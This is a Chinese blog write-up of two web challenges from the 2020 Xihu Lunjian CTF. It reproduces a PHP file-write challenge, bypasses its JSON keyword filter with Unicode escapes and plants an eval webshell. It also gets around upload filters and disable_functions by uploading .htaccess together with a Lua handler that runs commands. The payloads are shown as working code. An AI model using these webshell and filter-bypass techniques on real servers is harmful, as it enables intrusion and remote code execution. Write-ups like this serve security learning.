2020西湖論劍Web復現

風過江南亂發表於2020-11-01

前言

  • 總共5題,最簡單的easyjson都沒出。。。

題目

1、easyjson

  • 題目原始碼
 <?php
include 'security.php';

if(!isset($_GET['source'])){
    show_source(__FILE__);
    die();
}
//生成沙箱資料夾
$sandbox = 'sandbox/'.sha1($_SERVER['HTTP_X_FORWARDED_FOR']).'/';
var_dump($sandbox);
if(!file_exists($sandbox)){
    mkdir($sandbox);
    file_put_contents($sandbox."index.php","<?php echo 'Welcome To Dbapp OSS.';?>");
}
$action = $_GET['action'];
//通過php偽協議來給content變數賦值,會獲取post傳入的資料
$content = file_get_contents("php://input");

// SecurityCheck在security.php中定義,黑盒函式
if($action == "write" &&  SecurityCheck('filename',$_GET['filename']) &&SecurityCheck('content',$content)){
    $content = json_decode($content);
    $filename = $_GET['filename'];
    $filecontent = $content->content;
    $filename = $sandbox.$filename;
    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
}elseif($action == "reset"){
    $files = scandir($sandbox);
    foreach($files as $file) {
        if(!is_dir($file)){
            if($file !== "index.php"){
                unlink($sandbox.$file);
            }
        }
    }
}
else{
    die('Security Check Failed.');
}

  • 整體就很清晰,需要利用下面這句檔案寫入,就得明白SecurityCheck函式的作用。

    file_put_contents($filename,$filecontent."\n Powered By Dbapp OSS.");
    
  • 獲取沙箱資料夾路徑很簡單,加一個?source就夠了。再讓action=write,然後嘗試發現filename變數檔名不能包含數字,那就來一個 a.php ,然後就是content變數應該為json形式傳入資料。

  • 但是直接post傳入{{"content":"1"}}的話,無顯示,當時就始終糾結在這裡,懷疑是不是上面哪裡有問題。。。看wp說是被過濾了,可以用unicode編碼繞過。太菜了。淺談json引數解析對waf繞過的影響

  • 將 content unicode編碼得到,再次嘗試。抓包post傳送請求。然後再訪問剛剛得到的沙箱目錄下的a.php發現有回顯1,說明思路對了。再寫入php標籤時發現不解析,還是過濾了php關鍵字,但沒關係,同樣可以用上面的unicode編碼繞過,但也可以用php短標籤,老知識點了

<?= ?>
  ?source&action=write&filename=a.php
  
  post
  {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"1"}
  • 所以就很簡單了,寫個一句話木馬也行,蟻劍連線,在根目錄下發現 flag 和 readflag 檔案,但 flag 檔案裡沒有 flag ,那就試試 readflag ,執行虛擬終端,執行/readflag成功得到flag

    {"\u0063\u006f\u006e\u0074\u0065\u006e\u0074":"<?=@eval($_POST[1]);?>"}
    

在這裡插入圖片描述

  • 關鍵就是這個unicode編碼繞過,之前對json接觸不多,不知道這個點,同時也是當時沒意識到這存在過濾。

2、 NewUpload

  • 檔案上傳,過濾了檔案字尾名和檔案內容都過濾了php關鍵字,甚至短標籤的尖括號都不行,但是但是,沒想到居然可以通過換行來繞過來繞過字尾名檢測和用圖片馬來繞過檔案內容的檢測。
    在這裡插入圖片描述

  • 就能從phpinfo中發現disable_functions中禁用了很多函式。蟻劍有一個 bypass 它的一個外掛,但直接用不了。網上看到兩種方法

  • 第一種就是利用.htaccess+lua。lua是也是一種輕量化指令碼語言,在PHP環境中可以被解析

  • 先上傳一個.htaccess檔案,作用是使lua檔案解析生效。

    .htacces
      
    AddHandler lua-script .lua
    
  • 然後上傳一個1.lua檔案,再訪問1.lua就能成功得到flag。

--[1.lua --]

require "string"

--[[
     This is the default method name for Lua handlers, see the optional
     function-name in the LuaMapHandler directive to choose a different
     entry point.
--]]
function handle(r)
    r.content_type = "text/plain"
    r:puts("Hello Lua World!\n")
    local t = io.popen('/readflag')
    local a = t:read("*all")
    r:puts(a)
    if r.method == 'GET' then
        for k, v in pairs( r:parseargs() ) do
            r:puts( string.format("%s: %s\n", k, v) )
        end
    else
        r:puts("Unsupported HTTP method " .. r.method)
    end
end
  • 然後第二種方法是彈shell,但是方法很複雜,有點難懂,參考這篇文章

最後

  • 當時沒寫完,過了一段時間找不到題目了。。。就這吧

相關文章